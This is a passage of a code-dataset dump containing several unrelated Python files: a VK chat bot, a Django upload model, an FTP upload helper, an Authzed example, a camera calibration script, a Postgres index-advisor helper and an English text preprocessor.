\"{0:.2f}\".format(algorithm.data_source.main_balance), str(algorithm.data_source.alt_balance)))\n print(template.format('Difference:', '$' + \"{0:.2f}\".format(main_profit), str(alt_profit)))\n print(template.format('Total Moved:', '$' + \"{0:.2f}\".format(total_main), str(total_alt)))\n print(template.format('Accuracy: ' , '%' + \"{0:.2f}\".format(accuracy), str(total_alt)))\n print(template.format('Fees:' , '$' + \"{0:.2f}\".format(total_fee), str(total_alt)))\n print(template.format('Winning Trades:' , str(algorithm.winning_trades), str(total_alt)))\n print(template.format('Losing Trades:' , str(algorithm.losing_trades), str(total_alt)))\n print(template.format('Profit:' , '$' + \"{0:.2f}\".format(profit), str(total_alt)))\n print(template.format('Total Profit:', '$' + \"{0:.2f}\".format(profit), str(total_profit)))\n\n except KeyboardInterrupt:\n quit()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tradingbot.py","file_name":"tradingbot.py","file_ext":"py","file_size_in_byte":8376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"491027302","text":"from vk_api.bot_longpoll import VkBotLongPoll, VkBotEventType\r\nimport vk_api\r\nimport random\r\nfrom datetime import datetime\r\n\r\nimport parser_daimond\r\nimport parser_advance\r\n\r\ntoken = ''\r\n\r\nvk_session = vk_api.VkApi(token = token)\r\n\r\nsession_api = vk_session.get_api()\r\n\r\nid_group = 185787449\r\n\r\nlongpoll = VkBotLongPoll(vk_session, id_group)\r\n\r\ndef send_message(session_api, peer_id, message):\r\n session_api.messages.send(peer_id = peer_id, message = message, random_id = random.randint(-99999,+99999))\r\n\r\ndef get_online(session_api, peer_id):\r\n return session_api.users.get(peer_id=peer_id, fields='online')[0]\r\n\r\nfor event in longpoll.listen():\r\n if event.type == VkBotEventType.MESSAGE_NEW:\r\n\r\n max_member = session_api.messages.getConversationMembers(peer_id = event.obj.peer_id)['count']-1\r\n print('Участников: ' + str(max_member))\r\n\r\n if event.obj.peer_id != event.obj.from_id:\r\n\r\n # members_list = session_api.messages.getConversationMembers(peer_id=event.obj.peer_id)\r\n #\r\n # sender_name = list(filter(lambda name: name['id'] == event.obj.from_id, [name for name in session_api.messages.getConversationMembers(peer_id=event.obj.peer_id, fields='profiles')['profiles']]))[0]\r\n #\r\n # last_and_ferst_name = str(sender_name['first_name']) + ' ' +str(sender_name['last_name'])\r\n #\r\n # send_message(session_api,peer_id=event.obj.peer_id, message='@.id{0}({1})'.format(event.obj.from_id,last_and_ferst_name) +'\\nУчастников беседы: ' + str(max_member))\r\n #\r\n # print(event.obj)\r\n\r\n if event.obj.text == '/help':\r\n text = 'Доступные команды:\\n\\n' \\\r\n '/help - Команды Бота\\n' \\\r\n '/online - Показывает онлайн на сервере Paradox RP\\n' \\\r\n '/ \\n' \\\r\n '/ \\n'\r\n send_message(session_api, peer_id=event.obj.peer_id, message=text)\r\n\r\n\r\n if event.obj.text == '/online':\r\n text = ''\r\n for i in range(max_member):\r\n print('i = ',i)\r\n\r\n id = session_api.messages.getConversationMembers(peer_id=event.obj.peer_id)['profiles'][i]['id']\r\n print('ID = ',id)\r\n\r\n name = session_api.users.get(user_ids = id)[0]\r\n print('Объект по ID: ',name)\r\n\r\n operation_name = name['first_name'] + ' ' +name['last_name']\r\n print('Преобразование в Имя: ',operation_name)\r\n\r\n text = text + '\\n' +str(operation_name)\r\n\r\n print('============================================================')\r\n\r\n print('Участники:' + text)\r\n\r\n send_message(session_api, peer_id=event.obj.peer_id, message='Участники:{0}'.format(text))\r\n\r\n if event.obj.text == '/test':\r\n send_message(session_api, peer_id=event.obj.peer_id, message=str(parser_daimond.result))\r\n send_message(session_api, peer_id=event.obj.peer_id, message=str(parser_advance.result))\r\n\r\n\r\n\r\n\r\n","sub_path":"VK_BOT.py","file_name":"VK_BOT.py","file_ext":"py","file_size_in_byte":3272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"70456777","text":"from django.db import models\nfrom django.utils.translation import ugettext as _\nfrom plus import utilplus, modelplus\n\n\nclass Arquivo(models.Model):\n\t'''\n\tGuarda arquivos .csv e .pdf\n\t'''\n\tnome = models.CharField(max_length=64, unique=True, verbose_name='Nome')\n\tarquivo = modelplus.FileField(\tupload_to='arquivos/',\n\t\t\t\t\t\t\t\t\tcontent_types=['application/vnd.ms-excel', 'text/csv', 'application/pdf'],\n\t\t\t\t\t\t\t\t\tmax_upload_size=33554432,\n\t\t\t\t\t\t\t\t\tverbose_name=_('Arquivo'),\n\t\t\t\t\t\t\t\t\thelp_text=_('Tipos de Arquivos: .pdf .csv. Tamanho Máximo: 32MB'))\n\n\tclass Meta:\n\t\tverbose_name = _('Arquivo')\n\t\tverbose_name_plural = _('Arquivos')\n\n\tdef __str__(self):\n\t\treturn '{nome:s}'.format(nome=self.nome)\n\n\tdef clean(self, *args, **kwargs):\n\t\t# Renomeia o arquivo\n\t\tif self.arquivo:\n\t\t\tif self.id is None:\n\t\t\t\text = utilplus.get_file_extension(self.arquivo)\n\t\t\t\tself.arquivo.name = utilplus.unique_name(extension=ext)\n\t\t\telse:\n\t\t\t\tarquivo = Arquivo.objects.get(id=self.id)\n\t\t\t\tif self.arquivo != arquivo.arquivo:\n\t\t\t\t\text = utilplus.get_file_extension(self.arquivo)\n\t\t\t\t\tself.arquivo.name = utilplus.unique_name(extension=ext)\n\n\t\treturn super(Arquivo, self).clean(*args, **kwargs)\n","sub_path":"transpsesisenai/apps/repo/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"247889175","text":"# \n\"\"\"\nВыгружает произвольный файл по FTP в двоичном режиме.\nИспользует анонимный доступ к ftp, если функции не был передан\nкортеж user=(имя, пароль) аргументов.\n\"\"\"\n\nimport ftplib\n\ndef putfile(file, site, dir, user=(), *, verbose=True):\n \"\"\"\n выгружает произвольный файл по FTP на сайт/каталог, используя анонимный\n доступ или дейст��ительную учетную запись, двоичный режим передачи\n \"\"\"\n if verbose: print('Uploading', file)\n local = open(file, 'rb') # локальный файл с тем же именем\n remote = ftplib.FTP(site) # соединиться с FTP-сайтом\n remote.login(*user) # анонимная или действительная учетная запись\n remote.cwd(dir)\n remote.storbinary('STOR ' + file, local, 1024)\n remote.quit()\n local.close()\n if verbose: print('Upload done.')\n","sub_path":"3/ftp/putfile_through_ftp.py","file_name":"putfile_through_ftp.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"215245740","text":"__author__ = 'Administrator'\n\nfrom collections import namedtuple,deque,defaultdict,OrderedDict,Counter\n\n#namedtuple是一个函数,它用来创建一个自定义的tuple对象,并且规定了tuple元素的个数,并可以用属性而不是索引来引用tuple的某个元素。\nPointValues = namedtuple('pointvalues',['x','y'])\npv = PointValues(1,2)\nprint('pv.x is : ',pv.x,' and pv.y is : ',pv.y)\n#print('type(PointValues) is : ',type(PointValues))\n\n#使用list存储数据时,按索引访问元素很快,但是插入和删除元素就很慢了,因为list是线性存储,数据量大的时候,插入和删除效率很低。\n#deque是为了高效实现插入和删除操作的双向列表,适合用于队列和栈:\nq = deque(['a', 'b', 'c'])\nq.append('x')\nq.appendleft('y')\nprint(q)\n\n#使用dict时,如果引用的Key不存在,就会抛出KeyError。如果希望key不存在时,返回一个默认值,就可以用defaultdict:\ndd = defaultdict(lambda: 'N/A')\ndd['key1'] = 'abc'\nprint(\"dd['key1'] is : \",dd['key1']) # key1存在\nprint(\"dd['key2'] is : \",dd['key2']) # key1存在\n\n#使用dict时,Key是无序的。在对dict做迭代时,我们无法确定Key的顺序。如果要保持Key的顺序,可以用OrderedDict:\nd = dict([('a', 1), ('b', 2), ('c', 3)])\nprint('non orderedDict is : ',d)\nod = OrderedDict([('a', 1), ('b', 2), ('c', 3)])\nprint('used orderdDict is : ',od)\n\n#Counter是一个简单的计数器,例如,统计字符出现的个数\ncounters = Counter()\nfor ch in 'programming':\n counters[ch] = counters[ch] + 1\nprint(counters)\n","sub_path":"src/fundamental/basic/handleCollections.py","file_name":"handleCollections.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"315192919","text":"from authzed.api.v1 import (\n Client,\n ObjectReference,\n Relationship,\n RelationshipUpdate,\n SubjectReference,\n WriteRelationshipsRequest,\n)\nfrom grpcutil import bearer_token_credentials\n\nclient = Client(\n \"grpc.authzed.com:443\",\n bearer_token_credentials(\"t_your_token_here_1234567deadbeef\"),\n)\n\nresp = client.WriteRelationships(\n WriteRelationshipsRequest(\n updates=[\n # Emilia is a Writer on Post 1\n RelationshipUpdate(\n operation=RelationshipUpdate.Operation.OPERATION_CREATE,\n relationship=Relationship(\n resource=ObjectReference(object_type=\"blog/post\", object_id=\"1\"),\n relation=\"writer\",\n subject=SubjectReference(\n object=ObjectReference(\n object_type=\"blog/user\",\n object_id=\"emilia\",\n )\n ),\n ),\n ),\n # Beatrice is a Reader on Post 1\n RelationshipUpdate(\n operation=RelationshipUpdate.Operation.OPERATION_CREATE,\n relationship=Relationship(\n resource=ObjectReference(object_type=\"blog/post\", object_id=\"1\"),\n relation=\"reader\",\n subject=SubjectReference(\n object=ObjectReference(\n object_type=\"blog/user\",\n object_id=\"beatrice\",\n )\n ),\n ),\n ),\n ]\n )\n)\n","sub_path":"examples/v1/write_relationships.py","file_name":"write_relationships.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"49051307","text":"#!/usr/bin/env python\nimport re\nimport cv2\nimport argparse\nimport numpy as np\nfrom pathlib import Path\n\n\nGRID_WIDTH = 29.8 # mm\nGRID_COLS = 13\nGRID_ROWS = 6\nGRID_NUM = GRID_COLS * GRID_ROWS\n\n\ndef execute(dn_rgb_img: Path, dn_rgb_txt: Path, dn_calib: Path):\n if not dn_rgb_txt.exists() or not dn_rgb_txt.is_dir():\n dn_rgb_txt.mkdir()\n\n # load images\n fp_rgb_img_list = [p for p in dn_rgb_img.glob(\"*\") if re.search(\".*(jpg|JPG|png|PNG)\", str(p))]\n fp_rgb_img_list = sorted(fp_rgb_img_list)\n\n # prepare 3D points\n obj_coords = np.zeros((1, GRID_COLS * GRID_ROWS, 3), np.float32)\n obj_coords[0, :, :2] = np.mgrid[0:GRID_COLS, 0:GRID_ROWS].T.reshape(-1, 2) * GRID_WIDTH\n\n objpoints = []\n imgpoints = []\n\n print(\"----- Circle Grid Detection -----\")\n for fp_rgb_img in fp_rgb_img_list:\n print(\"{}\".format(fp_rgb_img))\n rgb_img = cv2.imread(str(fp_rgb_img), cv2.IMREAD_GRAYSCALE)\n rgb_img = rgb_img.astype(np.uint8)\n\n # detect circle grid centers\n params = cv2.SimpleBlobDetector_Params()\n params.filterByArea = True\n params.minArea = 10 ** 2\n params.maxArea = 100 ** 2\n params.filterByColor = True\n params.minThreshold = 0\n params.maxThreshold = 192\n params.filterByCircularity = True\n params.filterByInertia = False\n params.filterByConvexity = True\n detector = cv2.SimpleBlobDetector_create(params)\n detect_flags = cv2.CALIB_CB_SYMMETRIC_GRID + cv2.CALIB_CB_CLUSTERING\n is_found, centers = cv2.findCirclesGrid(rgb_img, (GRID_COLS, GRID_ROWS), detect_flags, blobDetector=detector)\n\n # check if centers are valid or not\n if not is_found or centers is None or len(centers) != GRID_NUM:\n print(\"- FAILED\")\n continue\n\n # convert to color image format\n rgb_img = cv2.cvtColor(rgb_img, cv2.COLOR_GRAY2RGB)\n cv2.drawChessboardCorners(rgb_img, (GRID_COLS, GRID_ROWS), centers, True)\n center_coords = []\n for i, corner in enumerate(centers):\n cv2.putText(rgb_img, str(i), (int(corner[0][0]) + 2, int(corner[0][1]) - 2),\n cv2.FONT_HERSHEY_PLAIN, 2, (255, 255, 255), 2)\n center_coords.append((corner[0][0], corner[0][1]))\n\n objpoints.append(obj_coords)\n imgpoints.append(centers)\n\n cv2.imwrite(str(dn_rgb_txt / fp_rgb_img.name), rgb_img)\n np.savetxt(str(dn_rgb_txt / (fp_rgb_img.stem + \".txt\")), np.array(center_coords))\n\n # convert to grayscale image format\n calib_flags = cv2.CALIB_FIX_K2 + cv2.CALIB_FIX_K3 + cv2.CALIB_FIX_TANGENT_DIST\n criteria_flags = (cv2.TERM_CRITERIA_MAX_ITER + cv2.TERM_CRITERIA_EPS, 1000, 1e-12)\n\n # dummy input (these initial values won't be used because cv2.CALIB_USE_INTRINSIC_GUESS is not specified)\n camera_matrix = np.zeros((3, 3))\n dist_params = np.zeros((5, 1))\n rmse, camera_matrix, dist_params, rvecs, tvecs \\\n = cv2.calibrateCamera(objpoints, imgpoints, (rgb_img.shape[1], rgb_img.shape[0]),\n camera_matrix, dist_params, flags=calib_flags, criteria=criteria_flags)\n print(\"\")\n\n print(\"----- Calibration Results -----\")\n print(\"RMSE:\")\n print(rmse)\n print(\"K:\")\n print(camera_matrix)\n print(\"D:\")\n print(dist_params.T)\n print(\"\")\n\n print(\"----- Undistortion of Calibration Images -----\")\n\n if not dn_calib.exists() or not dn_calib.is_dir():\n dn_calib.mkdir()\n\n np.savetxt(dn_calib / \"camera_matrix.txt\", camera_matrix)\n np.savetxt(dn_calib / \"dist_params.txt\", dist_params)\n\n # create a new optimal camera matrix\n new_camera_matrix, _ = cv2.getOptimalNewCameraMatrix(camera_matrix, dist_params,\n (rgb_img.shape[1], rgb_img.shape[0]), 1.0)\n remap = cv2.initUndistortRectifyMap(camera_matrix, dist_params, np.eye(3), new_camera_matrix,\n (rgb_img.shape[1], rgb_img.shape[0]), cv2.CV_32FC1)\n for fp_rgb_img in fp_rgb_img_list:\n rgb_img = cv2.imread(str(fp_rgb_img), cv2.IMREAD_COLOR)\n rgb_img = rgb_img.astype(np.uint8)\n rgb_img = cv2.remap(rgb_img, remap[0], remap[1], cv2.INTER_AREA)\n fp_rgb_img_undist = dn_rgb_txt / (\"undist_\" + fp_rgb_img.name)\n print(f\"- {fp_rgb_img_undist}\")\n cv2.imwrite(str(fp_rgb_img_undist), rgb_img)\n print(\"\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Calibration script for a perspective camera\")\n parser.add_argument(\"dp_rgb_img\", type=Path, help=\"directory of RGB images\")\n parser.add_argument(\"dp_rgb_txt\", type=Path, help=\"directory of circle detection output\")\n parser.add_argument(\"dp_calib\", type=Path, help=\"directory of calibration output\")\n args = parser.parse_args()\n\n execute(args.dp_rgb_img, args.dp_rgb_txt, args.dp_calib)\n","sub_path":"calib_perspective.py","file_name":"calib_perspective.py","file_ext":"py","file_size_in_byte":4895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"331226854","text":"import psycopg2\nimport sys\nfrom gym.envs.postgres_idx_advisor.envs.Utils import Utils\nfrom gym.envs.postgres_idx_advisor.envs.Constants import Constants\nfrom pglast import Node, parse_sql\nimport re\nimport numpy as np\nimport json\n\nclass PostgresQueryHandler:\n # attribute which will hold the postgres connection\n connection = None\n connectionDefault = None\n hypo_indexes_dict = dict()\n\n @staticmethod\n def __get_connection():\n # create connection only if it is not done before\n if PostgresQueryHandler.connection is None:\n # connect to postgres\n try:\n # read database config from config file\n database_config = Utils.read_config_data(Constants.CONFIG_DATABASE)\n # connect to postgres\n PostgresQueryHandler.connection = psycopg2.connect(database=database_config[\"dbname\"],\n user=database_config[\"user\"],\n password=database_config[\"password\"],\n host=database_config[\"host\"],\n port=database_config[\"port\"])\n PostgresQueryHandler.connection.autocommit = True\n # capture connection exception\n except psycopg2.OperationalError as exception:\n print('Unable to connect to postgres \\n Reason: {0}').format(str(exception))\n # exit code\n sys.exit(1)\n else:\n cursor = PostgresQueryHandler.connection.cursor()\n # Print PostgreSQL version\n cursor.execute(\"SELECT version();\")\n record = cursor.fetchone()\n print(\"***You are connected to below Postgres database*** \\n \", record, \"\\n\")\n return PostgresQueryHandler.connection\n\n @staticmethod\n def __get_default_connection():\n if PostgresQueryHandler.connectionDefault is None:\n # connect to postgres\n try:\n # read database config from config file\n database_config = Utils.read_config_data(Constants.CONFIG_DATABASE)\n # connect to postgres\n PostgresQueryHandler.connectionDefault = psycopg2.connect(database=database_config[\"dbname\"],\n user=database_config[\"user\"],\n password=database_config[\"password\"],\n host=database_config[\"host\"],\n port=database_config[\"port\"])\n PostgresQueryHandler.connectionDefault.autocommit = True\n # capture connection exception\n except psycopg2.OperationalError as exception:\n print('Unable to connect to postgres \\n Reason: {0}').format(str(exception))\n # exit code\n sys.exit(1)\n else:\n cursor = PostgresQueryHandler.connectionDefault.cursor()\n # Print PostgreSQL version\n cursor.execute(\"SELECT version();\")\n record = cursor.fetchone()\n print(\"***You are connected to below Postgres database*** \\n \", record, \"\\n\")\n return PostgresQueryHandler.connectionDefault\n\n @staticmethod\n def execute_select_query(query: str, load_index_advisor: bool = False, get_explain_plan: bool = False):\n #cursor = PostgresQueryHandler.__get_connection().cursor()\n if load_index_advisor:\n print('$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$')\n cursor = PostgresQueryHandler.__get_connection().cursor()\n cursor.execute(Constants.CREATE_EXTENSION)\n cursor.execute(Constants.LOAD_PG_IDX_ADVISOR)\n cursor = PostgresQueryHandler.__get_connection().cursor()\n else:\n print('################################')\n cursor = PostgresQueryHandler.__get_default_connection().cursor()\n cursor.execute(Constants.DROP_PG_IDX_ADVISOR)\n if get_explain_plan:\n query = Constants.QUERY_EXPLAIN_PLAN.format(query)\n cursor.execute(query)\n returned_rows = cursor.fetchall()\n\n #PostgresQueryHandler.check_hypo_indexes()\n\n cursor.close()\n return returned_rows\n\n @staticmethod\n def get_table_row_count(table_name):\n cursor = PostgresQueryHandler.__get_connection().cursor()\n cursor.execute(Constants.QUERY_FIND_NUMBER_OF_ROWS.format(table_name))\n returned_count = cursor.fetchone()\n cursor.close()\n return returned_count[0]\n\n @staticmethod\n def execute_count_query(query):\n cursor = PostgresQueryHandler.__get_connection().cursor()\n cursor.execute(query)\n returned_count = cursor.fetchone()\n cursor.close()\n return returned_count[0]\n\n @staticmethod\n def execute_select_query_and_get_row_count(query):\n cursor = PostgresQueryHandler.__get_connection().cursor()\n # trim whitespaces and add wrapper query to get count of rows i.e select count(*) from () table1\n query_to_execute = ' '.join(query.strip().replace('\\n', ' ').lower().split())\n query_to_execute = \"Select count(*) from (\" + query_to_execute + \" ) table1\"\n cursor.execute(query_to_execute)\n returned_count = cursor.fetchone()\n cursor.close()\n return returned_count\n\n @staticmethod\n def create_hypo_index(table_name, col_name):\n key = table_name + Constants.MULTI_KEY_CONCATENATION_STRING + col_name\n # create hypo index if it is not already present\n if key not in PostgresQueryHandler.hypo_indexes_dict:\n cursor = PostgresQueryHandler.__get_default_connection().cursor()\n #print('setting index', table_name, col_name)\n # replace placeholders in the create hypo index query with table name and column name\n cursor.execute(Constants.QUERY_CREATE_HYPO_INDEX.format(table_name, col_name))\n returned_index_id = cursor.fetchone()\n cursor.close()\n PostgresQueryHandler.hypo_indexes_dict[key] = returned_index_id[0]\n\n @staticmethod\n def remove_hypo_index(table_name, col_name):\n key = table_name + Constants.MULTI_KEY_CONCATENATION_STRING + col_name\n # check whether index is already present\n if key in PostgresQueryHandler.hypo_indexes_dict:\n cursor = PostgresQueryHandler.__get_connection().cursor()\n # retrieve index id from dict and replace the place holder with index id\n cursor.execute(Constants.QUERY_REMOVE_HYPO_INDEX.format(PostgresQueryHandler.hypo_indexes_dict.get(key, 0)))\n cursor.close()\n PostgresQueryHandler.hypo_indexes_dict.pop(key, None)\n\n @staticmethod\n def remove_all_hypo_indexes():\n cursor = PostgresQueryHandler.__get_default_connection().cursor()\n cursor.execute(Constants.QUERY_REMOVE_ALL_HYPO_INDEXES)\n print(cursor.fetchall())\n cursor.close()\n\n @staticmethod\n def get_where_clause_list_for_query(query: str):\n query_tree = Node(parse_sql(query))\n for tre in query_tree:\n for node in tre.stmt.whereClause:\n print(str(node))\n\n @staticmethod\n def check_hypo_indexes():\n cursor = PostgresQueryHandler.__get_default_connection().cursor()\n cursor.execute(Constants.QUERY_CHECK_HYPO_INDEXES)\n print(cursor.fetchall())\n cursor.close()\n\n @staticmethod\n def add_query_cost_suggested_indexes(result):\n #PostgresQueryHandler.check_hypo_indexes()\n explain_plan = ' \\n'.join(map(str, result))\n # extract cost\n print(explain_plan)\n cost_pattern = \"cost=(.*)row\"\n cost_match = re.search(cost_pattern, explain_plan)\n if cost_match is not None:\n cost_query = cost_match.group(1).split('..')[-1]\n return float(cost_query)\n\n @staticmethod\n def get_observation_space(queries_list):\n observation_space = np.array(np.ones((8,61)))\n observation_space[0,:] = np.array((np.zeros((61,))))\n action_space = PostgresQueryHandler.read_json_action_space()\n for query_number in range(len(queries_list)):\n for key, value in queries_list[query_number].where_clause_columns_query.items():\n print(key + ' : ' + value + ' : ' + str(\n queries_list[query_number].selectivity_for_where_clause_columns[key]) + ' : ' + str(queries_list[query_number].query_cost_without_index))\n table_name, col_name = key.split(Constants.MULTI_KEY_CONCATENATION_STRING)\n print(key, table_name, col_name)\n selectivity_index = action_space[(table_name + \".\" + col_name).upper()]\n print(selectivity_index)\n observation_space[query_number+1, selectivity_index] = queries_list[query_number].selectivity_for_where_clause_columns[key]\n return observation_space\n\n @staticmethod\n def read_json_action_space():\n with open('../index_action_space.json') as json_file:\n action_space = json.load(json_file)\n return action_space","sub_path":"envs/PostgresQueryHandler.py","file_name":"PostgresQueryHandler.py","file_ext":"py","file_size_in_byte":9412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"269711279","text":"#encoding:utf-8\r\nimport re\r\nfrom nltk.stem.snowball import SnowballStemmer\r\nimport nltk\r\nnltk.download(\"stopwords\")\r\nfrom nltk.corpus import stopwords\r\n\r\nreplacement = {\r\n \"aren't\" : \"are not\",\r\n \"can't\" : \"cannot\",\r\n \"couldn't\" : \"could not\",\r\n \"didn't\" : \"did not\",\r\n \"doesn't\" : \"does not\",\r\n \"don't\" : \"do not\",\r\n \"hadn't\" : \"had not\",\r\n \"hasn't\" : \"has not\",\r\n \"haven't\" : \"have not\",\r\n \"he'd\" : \"he would\",\r\n \"he'll\" : \"he will\",\r\n \"he's\" : \"he is\",\r\n \"i'd\" : \"I would\",\r\n \"i'll\" : \"I will\",\r\n \"i'm\" : \"I am\",\r\n \"isn't\" : \"is not\",\r\n \"it's\" : \"it is\",\r\n \"it'll\":\"it will\",\r\n \"i've\" : \"I have\",\r\n \"let's\" : \"let us\",\r\n \"mightn't\" : \"might not\",\r\n \"mustn't\" : \"must not\",\r\n \"shan't\" : \"shall not\",\r\n \"she'd\" : \"she would\",\r\n \"she'll\" : \"she will\",\r\n \"she's\" : \"she is\",\r\n \"shouldn't\" : \"should not\",\r\n \"that's\" : \"that is\",\r\n \"there's\" : \"there is\",\r\n \"they'd\" : \"they would\",\r\n \"they'll\" : \"they will\",\r\n \"they're\" : \"they are\",\r\n \"they've\" : \"they have\",\r\n \"we'd\" : \"we would\",\r\n \"we're\" : \"we are\",\r\n \"weren't\" : \"were not\",\r\n \"we've\" : \"we have\",\r\n \"what'll\" : \"what will\",\r\n \"what're\" : \"what are\",\r\n \"what's\" : \"what is\",\r\n \"what've\" : \"what have\",\r\n \"where's\" : \"where is\",\r\n \"who'd\" : \"who would\",\r\n \"who'll\" : \"who will\",\r\n \"who're\" : \"who are\",\r\n \"who's\" : \"who is\",\r\n \"who've\" : \"who have\",\r\n \"won't\" : \"will not\",\r\n \"wouldn't\" : \"would not\",\r\n \"you'd\" : \"you would\",\r\n \"you'll\" : \"you will\",\r\n \"you're\" : \"you are\",\r\n \"you've\" : \"you have\",\r\n \"'re\": \" are\",\r\n \"wasn't\": \"was not\",\r\n \"we'll\":\" will\",\r\n \"tryin'\":\"trying\",\r\n}\r\n\r\nstemmer = SnowballStemmer(\"english\")\r\nstopwords_en = set(stopwords.words('english'))\r\n\r\n# now build a custom tokenizer based on these\r\n__tokenization_pattern = r'''(?x) # set flag to allow verbose regexps\r\n \\$?\\d+(?:\\.\\d+)?%? # currency and percentages, e.g. $12.40, 82%\r\n | (?:[A-Z]\\.)+ # abbreviations, e.g. U.S.A.\r\n | \\w+(?:-\\w+)* # words with optional internal hyphens\r\n | \\.\\.\\. # ellipsis\r\n | [][.,;\"'?():_`-] # these are separate tokens; includes ], [\r\n '''\r\n\r\ntokenizer = nltk.tokenize.regexp.RegexpTokenizer(__tokenization_pattern)\r\n\r\nclass EnglishPreProcessor(object):\r\n def __init__(self,min_len = 2,stopwords_path = None):\r\n self.min_len = min_len\r\n\r\n def preprocessor(self,sentence):\r\n '''\r\n turns text into tokens after tokenization, stemming, stop words removal\r\n imput:\r\n - text: document to process\r\n output: =>\r\n - tokens: list of tokens after tokenization, stemming, stop words removal\r\n '''\r\n stems = []\r\n tokens = tokenizer.tokenize(sentence.lower())\r\n\r\n for token in tokens:\r\n if token.isalpha() and token not in stopwords_en:\r\n stems.append(str(stemmer.stem(token)))\r\n if not stems:\r\n for token in tokens:\r\n if token not in stopwords_en:\r\n stems.append(str(stemmer.stem(token)))\r\n return stems\r\n\r\n\r\n def clean_length(self,sentence):\r\n '''\r\n 去除长度小于min_len的文本\r\n :param sentence:\r\n :return:\r\n '''\r\n if len([x for x in sentence]) >= self.min_len:\r\n return sentence\r\n\r\n def replace(self,sentence):\r\n '''\r\n 一些特殊缩写替换\r\n :param sentence:\r\n :return:\r\n '''\r\n # Replace words like gooood to good\r\n sentence = re.sub(r'(\\w)\\1{2,}', r'\\1\\1', sentence)\r\n # Normalize common abbreviations\r\n words = sentence.split(' ')\r\n words = [replacement[word] if word in replacement else word for word in words]\r\n sentence_repl = \" \".join(words)\r\n return sentence_repl\r\n\r\n def remove_website(self,sentence):\r\n '''\r\n 处理网址符号\r\n :param sentence:\r\n :return:\r\n '''\r\n sentence_repl = sentence.replace(r\"http\\S+\", \"\")\r\n sentence_repl = sentence_repl.replace(r\"https\\S+\", \"\")\r\n sentence_repl = sentence_repl.replace(r\"http\", \"\")\r\n sentence_repl = sentence_repl.replace(r\"https\", \"\")\r\n return sentence_repl\r\n\r\n def remove_name_tag(self,sentence):\r\n # Remove name tag\r\n sentence_repl = sentence.replace(r\"@\\S+\", \"\")\r\n return sentence_repl\r\n\r\n def remove_time(self,sentence):\r\n '''\r\n 特殊数据处理\r\n :param sentence:\r\n :return:\r\n '''\r\n # Remove time related text\r\n sentence_repl = sentence.replace(r'\\w{3}[+-][0-9]{1,2}\\:[0-9]{2}\\b', \"\") # e.g. UTC+09:00\r\n sentence_repl = sentence_repl.replace(r'\\d{1,2}\\:\\d{2}\\:\\d{2}', \"\") # e.g. 18:09:01\r\n sentence_repl = sentence_repl.replace(r'\\d{1,2}\\:\\d{2}', \"\") # e.g. 18:09\r\n # Remove date related text\r\n # e.g. 11/12/19, 11-1-19, 1.12.19, 11/12/2019\r\n sentence_repl = sentence_repl.replace(r'\\d{1,2}(?:\\/|\\-|\\.)\\d{1,2}(?:\\/|\\-|\\.)\\d{2,4}', \"\")\r\n # e.g. 11 dec, 2019 11 dec 2019 dec 11, 2019\r\n sentence_repl = sentence_repl.replace(\r\n r\"([\\d]{1,2}\\s(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)|(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\\s[\\d]{1,2})(\\s|\\,|\\,\\s|\\s\\,)[\\d]{2,4}\",\r\n \"\")\r\n # e.g. 11 december, 2019 11 december 2019 december 11, 2019\r\n sentence_repl = sentence_repl.replace(\r\n r\"[\\d]{1,2}\\s(january|february|march|april|may|june|july|august|september|october|november|december)(\\s|\\,|\\,\\s|\\s\\,)[\\d]{2,4}\",\r\n \"\")\r\n return sentence_repl\r\n\r\n def remove_breaks(self,sentence):\r\n # Remove line breaks\r\n sentence_repl = sentence.replace(\"\\r\", \"\")\r\n sentence_repl = sentence_repl.replace(\"\\n\", \"\")\r\n sentence_repl = re.sub(r\"\\\\n\\n\", \".\", sentence_repl)\r\n return sentence_repl\r\n\r\n def remove_ip(self,sentence):\r\n # Remove phone number and IP address\r\n sentence_repl = sentence.replace(r'\\d{8,}', \"\")\r\n sentence_repl = sentence_repl.replace(r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}', \"\")\r\n return sentence_repl\r\n\r\n def adjust_common(self,sentence):\r\n # Adjust common abbreviation\r\n sentence_repl = sentence.replace(r\" you re \", \" you are \")\r\n sentence_repl = sentence_repl.replace(r\" we re \", \" we are \")\r\n sentence_repl = sentence_repl.replace(r\" they re \", \" they are \")\r\n sentence_repl = sentence_repl.replace(r\"@\", \"at\")\r\n return sentence_repl\r\n\r\n\r\n def full2half(self,sentence):\r\n '''\r\n 全角转化为半角\r\n :param sentence:\r\n :return:\r\n '''\r\n ret_str = ''\r\n for i in sentence:\r\n if ord(i) >= 33 + 65248 and ord(i) <= 126 + 65248:\r\n ret_str += chr(ord(i) - 65248)\r\n else:\r\n ret_str += i\r\n return ret_str\r\n\r\n def remove_stopword(self,sentence):\r\n '''\r\n 去除停用词\r\n :param sentence:\r\n :return:\r\n '''\r\n words = sentence.split()\r\n x = [word for word in words if word not in self.stopwords]\r\n return \" \".join(x)\r\n\r\n # 主函数\r\n def __call__(self, sentence):\r\n x = sentence\r\n x = self.preprocessor(x)\r\n return 